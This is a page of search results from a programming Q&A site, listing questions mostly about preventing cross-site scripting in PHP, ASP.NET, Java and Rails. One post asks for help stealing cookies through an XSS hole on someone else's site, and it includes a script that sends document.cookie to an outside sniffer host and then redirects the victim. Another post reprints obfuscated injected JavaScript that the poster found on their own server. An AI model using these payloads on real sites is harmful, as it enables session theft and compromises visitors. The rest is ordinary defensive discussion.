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Search found 497 results on 20 pages for 'xss prevention'.

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• Spam prevention through IP tracking

  - by whamsicore

  I am building a website with user generated comments. In order to implement user moderation/spam-protection, users have the ability to mark comments as spam. When one comment is marked as spam, I want all comments from the same IP address to be deleted. I am not familiar with spam prevention in general, other than Captcha. Question: is this a feasible/good system for spam prevention? are there better ways, or improvements I can make? Thanks.

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• What am I missing in this ASP.NET XSS Security Helper class?

  - by smartcaveman

  I need a generic method for preventing XSS attacks in ASP.NET. The approach I came up with is a ValidateRequest method that evaluates the HttpRequest for any potential issues, and if issues are found, redirect the user to the same page, but in a away that is not threatening to the application. (Source code below) While I know this method will prevent most XSS attacks, I am not certain that I am adequately preventing all possible attacks while also minimizing false positives. So, what is the most effective way to adequately prevent all possible attacks, while minimizing false positives? Are there changes I should make to the helper class below, or is there an alternative approach or third party library that offers something more convincing? public static class XssSecurity { public const string PotentialXssAttackExpression = "(http(s)*(%3a|:))|(ftp(s)*(%3a|:))|(javascript)|(alert)|(((\\%3C) <)[^\n]+((\\%3E) >))"; private static readonly Regex PotentialXssAttackRegex = new Regex(PotentialXssAttackExpression, RegexOptions.IgnoreCase); public static bool IsPotentialXssAttack(this HttpRequest request) { if(request != null) { string query = request.QueryString.ToString(); if(!string.IsNullOrEmpty(query) && PotentialXssAttackRegex.IsMatch(query)) return true; if(request.HttpMethod.Equals("post", StringComparison.InvariantCultureIgnoreCase)) { string form = request.Form.ToString(); if (!string.IsNullOrEmpty(form) && PotentialXssAttackRegex.IsMatch(form)) return true; } if(request.Cookies.Count > 0) { foreach(HttpCookie cookie in request.Cookies) { if(PotentialXssAttackRegex.IsMatch(cookie.Value)) { return true; } } } } return false; } public static void ValidateRequest(this HttpContext context, string redirectToPath = null) { if(context == null || !context.Request.IsPotentialXssAttack()) return; // expire all cookies foreach(HttpCookie cookie in context.Request.Cookies) { cookie.Expires = DateTime.Now.Subtract(TimeSpan.FromDays(1)); context.Response.Cookies.Set(cookie); } // redirect to safe path bool redirected = false; if(redirectToPath != null) { try { context.Response.Redirect(redirectToPath,true); redirected = true; } catch { redirected = false; } } if (redirected) return; string safeUrl = context.Request.Url.AbsolutePath.Replace(context.Request.Url.Query, string.Empty); context.Response.Redirect(safeUrl,true); } }

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• XSS as attack vector even if XSS data not stored?

  - by Klaas van Schelven

  I have a question about XSS Can forms be used as a vector for XSS even if the data is not stored in the database and used at a later point? i.e. in php the code would be this: <form input="text" value="<?= @$_POST['my_field'] ?>" name='my_field'> Showing an alert box (demonstrate that JS can be run) on your own browser is trivial with the code above. But is this exploitable across browsers as well? The only scenario I see is where you trick someone into visiting a certain page, i.e. a combination of CSRF and XSS. "Stored in a database and used at a later point": the scenario I understand about CSS is where you're able to post data to a site that runs JavaScript and is shown on a page in a browser that has greater/different privileges than your own. But, to be clear, this is not wat I'm talking about above.

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• Is there Java counterpart for Aspnet 4's <%: %> XSS prevention?

  - by Tomas Tintera

  I'm developer moving from C# to Java. Heard about new ASP net feature. <%: %. It renders object with html encoding. Only these impolementing IHtmlString interface are not encoded (to prevent double encoding). See more in http://weblogs.asp.net/scottgu/archive/2010/04/06/new-lt-gt-syntax-for-html-encoding-output-in-asp-net-4-and-asp-net-mvc-2.aspx Is such cute tool in Java side? I mean a way to output a string to webpage and (not)encode it based on it's type.

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• Multiple cross-site scripting (XSS) vulnerabilities in OpenStack Horizon

  - by Ritwik Ghoshal

  CVE DescriptionCVSSv2 Base ScoreComponentProduct and Resolution CVE-2014-3473 cross-site scripting (XSS) vulnerability 4.3 OpenStack Horizon Solaris 11.2 11.2.1.5.0 CVE-2014-3474 cross-site scripting (XSS) vulnerability 4.3 CVE-2014-3475 cross-site scripting (XSS) vulnerability 4.3 This notification describes vulnerabilities fixed in third-party components that are included in Oracle's product distributions.Information about vulnerabilities affecting Oracle products can be found on Oracle Critical Patch Updates and Security Alerts page.

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• XSS prevention in PHP

  - by newbie

  I need to prevent XSS attacks in PHP code, is there nay good and easy library for this?

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• XSS prevention in Java

  - by newbie

  How can I prevent XSS attacks in Java? Are there any good libraries for that?

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• Malware Cross Site Scriptinig attack / XSS Attack?

  - by user124176

  I have been hit by an Cross Site Scripting / XSS / RFI Attack, where I cant find it anywhere in the source of the files and Hashes on files have not been changed according to OSSEC HIDS that I run real time monitoring on all webdirs. The Attack happens on IE9 Only it and appends java script code like beneath, notice that it starts after /html tag closes normally. : scXXpt language="javascXXpt"var enuwjo = function(gqumas, yhxxju, zbkpilf, xzzvhld){var xew = function(iso) {var crh, eaq, i; var owb=""; crh = iso.length; for (i = 0; i < crh; ++i) {eaq = iso.charCodeAt(i)-2;owb = owb + String.fromCharCode(eaq);} return(owb); } var janlq=document.createElement(xew("crrngv"));janlq.setAttribute(xew("eqfg"), xew(gqumas));janlq.setAttribute(xew("ctejkxg"), xew("jvvr<11"+yhxxju));janlq.setAttribute(xew("ykfvj"), "1");janlq.setAttribute(xew("jgkijv"), "1");var lgtwyi=document.createElement(xew("rctco"));lgtwyi.setAttribute(xew("pcog"),xew(zbkpilf));lgtwyi.setAttribute(xew("xcnwg"),xew(xzzvhld));janlq.appendChild(lgtwyi);document.body.appendChild(janlq); } ; enuwjo("vxfgwtogg0dcrcmnwe0encuu","g{g0o{yge{0kp129;5","mlit{ttmdttponfhrrexihpe","fh;ccfe:85:5d9872;2;f569276h5268ff9;34:25;7d:8:7h8c68777;;822c73"); No code has been changed on file as far as my HIDS says ... but I can see in my Error log, the following... File does not exist: /var/www/vhosts/superkids.dk/ggtest/tvdeurmee In the Access log, the following IP - - [09/Jun/2012:23:30:13 +0200] "GET /tvdeurmee/bapakluc.class HTTP/1.1" 404 504 "-" "Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_04" IP - - [09/Jun/2012:23:30:13 +0200] "GET /tvdeurmee/bapakluc/class.class HTTP/1.1" 404 509 "-" "Mozilla/4.0 (Windows 7 6.1) Java/1.7.0_04" Now... the folder or path /tvdeurmee/bapakluc/ does not exist on the server in question, nor does the Java Class class.class, yet it still looks like an local call to the server and it was getting an "404 File not found / 504 Gateway Timeout" (attack was blocked by local machine, hence the timeout / not found) Any idea on how to prevent the attack ? Im working on using HTML Purifier, but that might not be the correct idea it seems, according to some replies im getting on their forum :) Kind regards, Steven

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• Preventing HTML character entities in locale files from getting munged by Rails3 xss protection

  - by Chris S

  We're building an app, our first using Rails 3, and we're having to build I18n in from the outset. Being perfectionists, we want real typography to be used in our views: dashes, curled quotes, ellipses et al. This means in our locales/xx.yml files we have two choices: Use real UTF-8 characters inline. Should work, but hard to type, and scares me due to the amount of software which still does naughty things to unicode. Use HTML character entities (&#8217; &#8212; etc). Easier to type, and probably more compatible with misbehaving software. I'd rather take the second option, however the auto-escaping in Rails 3 makes this problematic, as the ampersands in the YAML get auto-converted into character entities themselves, resulting in 'visible' &8217;s in the browser. Obviously this can be worked around by using raw on strings, i.e.: raw t('views.signup.organisation_details') But we're not happy going down the route of globally raw-ing every time we t something as it leaves us open to making an error and producing an XSS hole. We could selectively raw strings which we know contain character entities, but this would be hard to scale, and just feels wrong - besides, a string which contains an entity in one language may not in another. Any suggestions on a clever rails-y way to fix this? Or are we doomed to crap typography, xss holes, hours of wasted effort or all thre?

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• Alternative to using c:out to prevent XSS

  - by lynxforest

  I'm working on preventing cross site scripting (XSS) in a Java, Spring based, Web application. I have already implemented a servlet filter similar to this example http://greatwebguy.com/programming/java/simple-cross-site-scripting-xss-servlet-filter/ which sanitizes all the input into the application. As an extra security measure I would like to also sanitize all output of the application in all JSPs. I have done some research to see how this could be done and found two complementary options. One of them is the use of Spring's defaultHtmlEscape attribute. This was very easy to implement (a few lines in web.xml), and it works great when your output is going through one of spring's tags (ie: message, or form tags). The other option I have found is to not directly use EL expressions such as ${...} and instead use <c:out value="${...}" /> That second approach works perfectly, however due to the size of the application I am working on (200+ JSP files). It is a very cumbersome task to have to replace all inappropriate uses of EL expressions with the c:out tag. Also it would become a cumbersome task in the future to make sure all developers stick to this convention of using the c:out tag (not to mention, how much more unreadable the code would be). Is there alternative way to escape the output of EL expressions that would require fewer code modifications? Thank you in advance.

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• XSS filtering function in PHP

  - by codecowboy

  Hi, Does anyone know of a good function out there for filtering generic input from forms? Zend_Filter_input seems to require prior knowledge of the contents of the input and I'm concerned that using something like HTML Purifier will have a big performance impact. What about something like : http://snipplr.com/view/1848/php--sacar-xss/ Many thanks for any input.

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• How Google Wave cannot be XSS injected by a widget

  - by Axel

  Hello, If you've used google wave you probabely seen that you can insert widgets that are made by third parties without approval. the Question is : How this widgets can't inject XSS or steal the cookies, Are the widgets loaded in an <iframe> ? if yes, then how they can't redirect google wave to another page? Thanks

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• Why Google Wave & iGoogle cannot be XSS injected by a widget

  - by Axel

  Hello, If you've used google wave or iGoogle you probabely seen that you can insert widgets that are made by third parties without approval. the Question is : How this widgets can't inject XSS or steal the cookies, Are the widgets loaded in an <iframe> ? if yes, then how they can't redirect you to another page? Thanks

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• What are the best practices for avoid xss attacks in a PHP site

  - by rikh

  I have PHP configured so that magic quotes are on and register globals are off. I do my best to always call htmlentities() for anything I am outputing that is derived from user input. I also occasionally seach my database for common things used in xss attached such as... <script What else should I be doing and how can I make sure that the things I am trying to do are always done.

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• PHP XSS Prevention WhiteListing

  - by pws5068

  My site utilizes a WYSIWYG editor for users to update their accounts,enter comments, and send private messages. The editor (CKEditor) is great for only allowing users to enter valid input, but I worry about injection through TamperData or other means. How can I control this on the server side? I need to whitelist specific tags: <b><ul><ol><a><img><br>, will this be a SAFE approach to preventing XSS?

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• Prevent XSS but allow all characters?

  - by Dr Hydralisk

  How can I prevent XSS but allow any characters to be used? Like I can post HTML code on a forum like <html><body><h1>Test</h1></html>, but it would not be rendered in the browser as html? How can I do this so it does not convert the characters in PHP?

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• What makes an input vulnerable to XSS?

  - by vtortola

  Hi! I've been reading about XSS and I made a simple form with a text and submit input, but when I execute <script>alert();</script> on it, nothing happens, the server gets that string and that's all. What do I have to do for make it vulnerable?? (then I'll learn what I shouldn't do hehe) Cheers.

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• preg_replace on xss code

  - by proyb2

  Can this code help to sanitize malicious code in user submit form? function rex($string) { $patterns = array(); $patterns[0] = '/=/i'; $patterns[1] = '/javascript:/i'; $replacements = array(); $replacements[0] = ''; $replacements[1] = ''; return preg_replace($patterns, $replacements, $string); I have included htmlentities() to prevent XSS on client side, is all the code shown is safe enough to prevent attack?

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• A way around XSS?

  - by rushonerok

  In my page I have an script reference to the autoHeight.js file below. I also have an iframe that I want to resize using this code. In firebug I get this error Error: Permission denied for <http://www.siena.edu> to get property HTMLDocument.body from <https://siteframework.siena.edu>. Source File: https://siteframework.siena.edu/FormManager/action/v2/autoHeight.js Line: 4 I am assuming it is because they are on different domains that it won't execute it. This is to prevent XSS right? Is there a way around it?

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• How Do I Prevent a XSS Cross-Site Scripting Attack When Using jQueryUI Autocomplete

  - by theschmitzer

  I am checking for XSS vulnerabilities in a web application I am developing. This Rails app uses the h method to sanitize HTML it generates. It does, however, make use of the jQueryUI autocomplete widget (new in latest release), where I don't have control over the generated HTML, and I see tags are not getting escaped there. The data fed to autocomplete is retrieved through a JSON request immediately before display. I Possibilities: 1) Autocomplete has an option to sanitize I don't know about 2) There is an easy way to do this in jQuery I don't know about 3) There is an easy way to do this in a Rails controller I don't know about (where I can't use the h method) 4) Disallow < symbol in the model Sugestions?

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• Using MS Anti XSS library for sanitizing HTML

  - by user102533

  In the intent of preventing XSS attacks, I am updating a page in which we have a textbox that accepts HTML, stores it in a database and retrieves and renders it at a later time. My understanding is that I can sanitize the HTML using AntiXSS.GetSafeHtmlFragment() method. As long as I do this before storing the HTML in the database, am I covered? Do I need to do anything when the HTML is outputted on a web page? Also, it appears that the white list is kind of a black box. Is there a way to update this based on our requirements?

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• Xss redirect and cookies

  - by user1824906

  I found Active XSS on one site. I need to steal cookies and after it to make redirect on other site. This site has a non-frame protection I tried to put "><script src='http://site.ru/1.js' /></script>" http://site.ru/1.js contains: img = new Image(); img.src = "http:/sniffer.com/nasdasdnu.gif?"+document.cookie; var URL = "http://images.cards.mail.ru/11bolprivet.jpg" var speed = 100; function reload() { document.location = URL } setTimeout("reload()", speed); But it doesn't work=\ Any help?

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• XSS exploit when JavaScript is disabled

  - by snaken

  I'm getting pretty frustrated trying to make McAffee whitelist a supposed exploit on a site i work on. The issue is that their automated system has detected a supposed XSS exploit but the exploit only exists when JavaScript is disabled. Given the fact that you need JavaScript to be disabled for the exploit to exist then surely this means this is not an exploit. Can anyone think of any possible arguments to the contrary? Update - To add more detail: The problem comes from in one place unsanitized URL content is written to an anchor tag href.So, with JS disabled you could have something like this: <a href="foor.php?"><script>alert('foo')</script>#someanchor" .. When JavaScript is enabled this href is updated to be this (on dom ready): <a href="javascript:;">link</a> So, with JS enabled the link is no longer injected, with JS disabled the alert would no longer execute.

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• Valid Email Addresses - XSS and SQL Injection

  - by PAAMAYIM_NEKUDOTAYIM

  Since there are so many valid characters for email addresses, are there any valid email addresses that can in themselves be XSS attacks or SQL injections? I couldn't find any information on this on the web. The local-part of the e-mail address may use any of these ASCII characters: Uppercase and lowercase English letters (a–z, A–Z) Digits 0 to 9 Characters ! # $ % & ' * + - / = ? ^ _ ` { | } ~ Character . (dot, period, full stop) provided that it is not the last character, and provided also that it does not appear two or more times consecutively (e.g. [email protected]). http://en.wikipedia.org/wiki/E-mail_address#RFC_specification I'm not asking how to prevent these attacks (I'm already using parametrized queries and HTML purifier), this is more a proof-of-concept. The first thing that came to mind was 'OR [email protected], except that spaces are not allowed. Do all SQL injections require spaces?

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• Payment gateways and XSS

  - by Rowan Parker

  Hi all, I'm working on a website which takes payment from a customer. I'm using Kohana 2.3.4 and have created a library to handle the payment gateway I use (www.eway.com.au). Basically I'm just using their sample code, copied into it's own class. Anyway, the code works fine and I can make payments, etc. The issue I have is when the payment gateway is returning the user to my site. The payment gateway uses HTTPS so that is secure, and it is sending the user back to a HTTPS page on my site. However I have the NoScript plugin installed in Firefox, and when I get sent back to the page on my website (which also handles storing the transaction data) I get an error message saying that NoScript has blocked a potential XSS attack. Now I understand why it's unsecure (POST data being sent across two different domains) but what should I be doing instead? Obviously during my testing here I temporarily disable NoScript and it all works fine, but I can't rely on that for the end users. What's the best practice here?

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